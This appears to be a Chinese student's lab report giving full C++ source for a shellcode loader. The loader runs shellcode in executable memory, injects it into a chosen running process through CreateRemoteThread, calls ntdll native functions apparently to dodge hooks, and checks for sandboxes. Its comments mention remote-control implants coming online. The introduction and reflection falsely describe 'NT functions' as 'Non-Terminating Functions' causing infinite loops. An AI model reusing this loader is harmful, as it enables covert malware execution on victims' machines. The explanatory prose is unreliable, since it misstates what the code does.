目录
一.NT函数
在C++中,NT函数(Non-Terminating Functions)在网络安全领域可能扮演多种角色,尤其是在编写安全性关键的应用程序或者处理网络数据时。以下是一些NT函数在网络安全领域中的作用和相关考虑:
1.防御性编程:在编写网络安全相关的代码时,避免使用可能导致无限循环或者无法终止的函数是非常重要的。NT函数往往是由于程序逻辑错误或者不完整的输入验证引起的,这些问题可能被攻击者利用来执行拒绝服务攻击(DoS)或其他恶意行为。
2.资源管理:网络安全程序通常需要有效地管理系统资源,如内存和CPU。NT函数可能导致资源泄露或者无限资源占用,这可能被攻击者利用来消耗目标系统的资源,从而干扰其正常运行或导致服务不可用。
3.输入验证和过滤:在处理网络输入时,应用程序必须对输入进行严格的验证和过滤,以防止恶意输入触发NT函数。例如,避免在循环中没有正确的退出条件或者递归中没有正确的基本情况,以免程序进入无限循环。
4.代码审查和安全审计:审查代码中潜在的NT函数或者与之相关的问题是网络安全审计的一部分。发现并修复这些问题可以显著降低应用程序受攻击的风险。
5.安全编程实践:采用安全编程实践,如使用标准库中的安全函数替代可能存在安全风险的NT函数,可以提高应用程序的安全性。例如,使用安全的字符串处理函数而不是不安全的字符串操作函数(如strcpy、strcat等)。
总体来说,NT函数在网络安全中的作用是需要特别注意和避免的。通过严格的代码审查、正确的输入验证、合适的错误处理和资源管理,可以减少NT函数对网络安全造成的潜在影响。
二.三个NT函数的代码定义
typedef LPVOID(NTAPI* fnNtAllocateVirtualMemory)(
HANDLE ProcessHandle, //进程句柄
PVOID* BaseAddress, //指向开辟内存的指针,二级指针
ULONG_PTR ZeroBits, //不知道啥用直接置零
PSIZE_T RegionSize, //指向开辟大小的指针
ULONG AllocationType, //内存页
ULONG Protect //内存属性
);
typedef DWORD(NTAPI* fnNtCreateThreadEx)(
PHANDLE ThreadHandle, //指向线程句柄的指针
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle, //进程句柄
LPTHREAD_START_ROUTINE lpstartAddress, //要执行的函数
LPVOID lpParameter, //函数的参数
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnknow
);
typedef DWORD(NTAPI* fnNtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToWrite,
PULONG NumberOfBytesWritten OPTIONAL);
三.上课所讲函数
3.1SandBox函数
在计算机领域中,沙箱技术(Sandboxing)是一种用于隔离正在运行程序的安全机制,其目的是限制不可信进程或不可信代码运行时的访问权限。
代码如下:
#pragma once
#include"myFunc.h"
int vbox_network_share() {
unsigned long pnsize = 0x1000;
char provider[0x1000];
int retv = WNetGetProviderName(WNNC_NET_RDR2SAMPLE, (LPWSTR)provider, &pnsize);
if (retv == NO_ERROR) {
if (lstrcmpi((LPWSTR)provider, (LPCWSTR)"VirtualBox Shared Folders") == 0)
return TRUE;
else
return FALSE;
}
return FALSE;
}
int Check_MulDiv_1() {
// Call MulDiv with specific arguments
int result = MulDiv(1, 0x80000000, 0x80000000);
// Check if the result matches the expected value
if (result != 2) {
std::cout << "MulDiv evasion method detected: Wine environment." << std::endl;
}
else {
std::cout << "MulDiv evasion method not detected." << std::endl;
}
return 0;
}
int Check_MulDiv_2() {
// Check for the existence of Wine's exclusive APIs
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
FARPROC wineGetUnixFileName = GetProcAddress(hKernel32, "wine_get_unix_file_name");
HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
FARPROC wineGetHostVersion = GetProcAddress(hNtdll, "wine_get_host_version");
if (wineGetUnixFileName || wineGetHostVersion) {
std::cout << "Wine's exclusive APIs detected: Wine environment." << std::endl;
}
else {
std::cout << "Wine's exclusive APIs not detected." << std::endl;
}
return 0;
}
3.2Myfunc.h
该头文件里主要存放一些定义,代码展示如下:
#pragma once
#pragma once
#include<Windows.h>
#include <tlhelp32.h>
#include <fstream>
#include<iostream>
#include"data.h"
#define WINAPI __stdcall
using namespace std;
typedef LPVOID(WINAPI* fn_VirtualAllocEx)(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef HANDLE(WINAPI* fn_OpenProcess)(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId
);
typedef LPVOID(WINAPI* fn_VirtualAlloc)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef HANDLE(WINAPI* fn_CreateThread)(
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ __drv_aliasesMem LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);
typedef LPVOID(NTAPI* fn_NtAllocateVirtualMemory)(
HANDLE ProcessHandle, //进程句柄
PVOID* BaseAddress, //指向开辟内存的指针,二级指针
ULONG_PTR ZeroBits, //不知道啥用直接置零
PSIZE_T RegionSize, //指向开辟大小的指针
ULONG AllocationType, //内存页
ULONG Protect //内存属性
);
typedef DWORD(NTAPI* fn_NtCreateThreadEx)(
PHANDLE ThreadHandle, //指向线程句柄的指针
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle, //进程句柄
LPTHREAD_START_ROUTINE lpstartAddress, //要执行的函数
LPVOID lpParameter, //函数的参数
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnknow
);
typedef DWORD(NTAPI* fn_NtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToWrite,
PULONG NumberOfBytesWritten OPTIONAL);
3.3data.h
改代码是在执行完老师发的分段.py文件后,生成的对应代码块,由于量过大,该页面无法承载,所以以截图展示部分即可
3.4main.cpp代码块
这部分代码只要负责执行对应的结果,代码块如下:
#include "myFunc.h"
#include"CheckSandBox.h"
using namespace std;
//字符转宽字符
wchar_t* AtoW(char** a) {
setlocale(LC_ALL, "");
// 原始的char*字符串
char* char_str = *a;
// 确定所需的wchar_t缓冲区的大小
size_t wchar_size = mbstowcs(NULL, char_str, 0) + 1;
if (wchar_size == (size_t)-1) {
perror("mbstowcs");
return 0;
}
// 分配wchar_t缓冲区
wchar_t* wchar_str = (wchar_t*)malloc(wchar_size * sizeof(wchar_t));
if (wchar_str == NULL) {
perror("malloc");
return 0;
}
// 执行转换
mbstowcs(wchar_str, char_str, wchar_size);
return wchar_str;
}
//读取shellcode
char* ReadFile(SIZE_T* length, char* file) {
char* filename = file;
ifstream infile;
infile.open(filename, ios::in | ios::binary);
infile.seekg(0, infile.end);
*length = infile.tellg();
infile.seekg(0, infile.beg);
char* data = new char[*length];
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(data, *length);
}
infile.close();
return data;
}
//unsigned char* ReadShell(SIZE_T* length) {
// unsigned char* data = assemble_data(length);
//
//}
//直接到缓冲区
void Direct() {
size_t length;
unsigned char* data = assemble_data(&length);
fn_VirtualAlloc myVirtualAlloc = (fn_VirtualAlloc)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
fn_CreateThread myCreateThread = (fn_CreateThread)GetProcAddress(LoadLibraryA("kernel32.dll"), "CreateThread");
LPVOID shell_addr = myVirtualAlloc(NULL, length, 0x00001000, 0x40);
memcpy(shell_addr, data, length);
HANDLE HThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)shell_addr, 0, 0, 0);
WaitForSingleObject(HThread, -1);
}
//注入进程
void Inject(char* argv[]) {
SIZE_T length = 0;
char* data;
data = ReadFile(&length, argv[2]);
/*LPVOID mem = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, data, length);
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);*/
HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //快照(留像)
if (snapshot_handle != INVALID_HANDLE_VALUE) {
// 枚举进程
PROCESSENTRY32 process_entry;
process_entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot_handle, &process_entry)) {
do {
// 将进程名转换为宽字符串
std::wstring extFileName(process_entry.szExeFile);
wchar_t* exename = AtoW(&argv[3]);
// 如果进程名包含 "msedge.exe" 则进行以下操作 std::string::npos == 当初遍历的进程名
if (extFileName.find(exename) != std::string::npos) {
// 打开进程
fn_OpenProcess myOpenProcess = (fn_OpenProcess)GetProcAddress(LoadLibraryA("kernel32.dll"), "OpenProcess");
HANDLE process_handle = myOpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID);
if (process_handle != NULL) {
// 在远程进程中分配内存
fn_VirtualAllocEx myVirtualAllocEx = (fn_VirtualAllocEx)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAllocEx");
LPVOID remote_buffer = myVirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remote_buffer != NULL) {
SIZE_T bytes_written;
// 将 code 写入远程进程内存
if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) {
std::cout << "Remote buffer address: " << remote_buffer << std::endl;
// 在远程进程中创建线程执行 code
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
if (remote_thread != NULL) {
// 等待线程结束
WaitForSingleObject(remote_thread, INFINITE);
CloseHandle(remote_thread);
}
}
// 关闭远程内存句柄
CloseHandle(remote_buffer);
}
// 关闭进程句柄
CloseHandle(process_handle);
}
}
} while (Process32Next(snapshot_handle, &process_entry)); // 继续枚举下一个进程
}
// 关闭进程快照句柄
CloseHandle(snapshot_handle);
}
}
void CheckSandBox() {
//vbox_network_share();
Check_MulDiv_1();
Check_MulDiv_2();
}
//NT函数调用
//Hook(钩子)对系统的函数进行更改
//printf(被挂钩)->Hook->挂钩函数
//printf->挂钩函数->unHook->原功能
//Hook用于检测->先执行检查->UNHook->原功能
//Hook R3
void NtCall(char* file) {
SIZE_T length = 0;
char* data = NULL;
data = ReadFile(&length, file);
fn_NtAllocateVirtualMemory myNtAllocateVirtualMemory = (fn_NtAllocateVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory");
fn_NtCreateThreadEx myNtCreateThreadEx = (fn_NtCreateThreadEx)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtCreateThreadEx");
LPVOID shell_addr = NULL;
myNtAllocateVirtualMemory(GetCurrentProcess(), &shell_addr,0,&length, 0x00001000, 0x40);
memcpy(shell_addr, data, length);
HANDLE hRemoteThread = NULL;
HANDLE process = GetCurrentProcess();
myNtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS,NULL,process, (LPTHREAD_START_ROUTINE)shell_addr, NULL, 0, 0,0,0,0);
WaitForSingleObject(hRemoteThread, -1);
}
//正常上线
VOID Normal(char* file) {
SIZE_T length = 0;
char* data = NULL;
data = ReadFile(&length, file);
fn_VirtualAlloc myVirtualAlloc = (fn_VirtualAlloc)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
fn_CreateThread myCreateThread = (fn_CreateThread)GetProcAddress(LoadLibraryA("kernel32.dll"), "CreateThread");
LPVOID shell_addr = myVirtualAlloc(NULL, length, 0x00001000, 0x40);
memcpy(shell_addr, data, length);
HANDLE HThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)shell_addr, 0, 0, 0);
WaitForSingleObject(HThread, -1);
}
//LPVOID == Long Point VOID
//int Check_MulDiv_1() {
// // Call MulDiv with specific arguments
// int result = MulDiv(1, 0x80000000, 0x80000000);
//
// // Check if the result matches the expected value
// if (result != 2) {
// std::cout << "MulDiv evasion method detected: Wine environment." << std::endl;
// }
// else {
// std::cout << "MulDiv evasion method not detected." << std::endl;
// }
//
// return 0;
//}
//int Check_MulDiv_2() {
// // Check for the existence of Wine's exclusive APIs
// HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
// FARPROC wineGetUnixFileName = GetProcAddress(hKernel32, "wine_get_unix_file_name");
// HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
// FARPROC wineGetHostVersion = GetProcAddress(hNtdll, "wine_get_host_version");
//
// if (wineGetUnixFileName || wineGetHostVersion) {
// std::cout << "Wine's exclusive APIs detected: Wine environment." << std::endl;
// }
// else {
// std::cout << "Wine's exclusive APIs not detected." << std::endl;
// }
//
// return 0;
//}
// 远控的上线程序会变成你的注入目标程序
// User,管理员,System
// 主函数
void Fish(char *web) {
char head[100] ="msedge ";
sprintf(head,"%s%s",head,web);
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
BOOL mem = CreateProcessA("C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
head,
0,
0,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);
std::cout << mem;
}
int main(int argc, char* argv[]) {
if (argc == 1) {
Direct();
}
if (strcmp(argv[1], "-i") == 0) {
if (argc == 4) {
printf("Injecting!!!\n");
Inject(argv);
}
else {
wprintf(L"注入方式:-i 路径 进程名\n");
}
}
if (strcmp(argv[1], "-d") == 0) {
Normal(argv[2]);
};
if (strcmp(argv[1], "-h") == 0) {
printf("-i Inject\n-h help\n-d normal\n");
}
if (strcmp(argv[1], "-s") == 0)
CheckSandBox();
if (strcmp(argv[1], "-n") == 0) {
if (argc != 3) {
printf("需要Shellcode路径\n");
}
NtCall(argv[2]);
}
if (strcmp(argv[1], "-g") == 0) {
char web[40];
printf("请输入你想要打开的网址:");
cin >> web;
Fish(web);
}
}
输入-g时,然后再输入任意网址时(这里以百度为例)的运行结果:
输入-s时的运行结果 :
四.个人心得体会
在网络安全领域中,使用NT函数是一个重要而复杂的议题。这些函数可能会导致系统不可预料的行为,尤其是在面对来自恶意用户或攻击者的输入时。以下是我在实验和实际应用中对NT函数的体会和心得:
首先,NT函数的出现往往源于编程中的逻辑错误或者不完整的输入验证。在实验过程中,我们经常会发现一些典型的情况,比如没有正确的循环退出条件或者递归调用没有正确的基本情况。这些问题可能导致程序陷入无限循环,消耗系统资源,甚至导致服务不可用。因此,学习如何识别和避免这些问题是至关重要的。
其次,NT函数的安全影响不容忽视。在一个安全性要求较高的系统中,一个简单的编程错误可能被利用成为攻击的入口。攻击者可能会故意构造特定的输入来触发NT函数,从而导致拒绝服务攻击或者系统崩溃。通过实验,我们深刻理解了输入验证的重要性,并学会了如何编写更加健壮和安全的代码来应对这些潜在的风险。
第三,NT函数的调试和修复需要系统的方法论。在实验中,我们发现将代码审查和安全审计作为日常实践的一部分是非常有效的。定期审查代码中的潜在问题,并进行必要的修复,可以显著提高系统的安全性和稳定性。此外,及早发现和解决NT函数可能存在的问题,可以减少后期在生产环境中面对的风险和成本。
最后,NT函数的管理也需要考虑到软件开发周期的整体流程。在实验过程中,我们意识到安全编程实践应当贯穿于整个开发周期的始终,而不仅仅是在开发初期或者最后的测试阶段。通过培养团队的安全意识和实践,我们可以有效地降低NT函数带来的潜在威胁,从而提升整体的网络安全水平。
综上所述,通过在实验中对NT函数进行深入研究和实践,我不仅加深了对这一问题的理解,也掌握了一些有效的应对策略。在未来的工作中,我将继续关注和优化这些实践,以确保在网络安全领域中开发出更加安全可靠的应用程序和系统。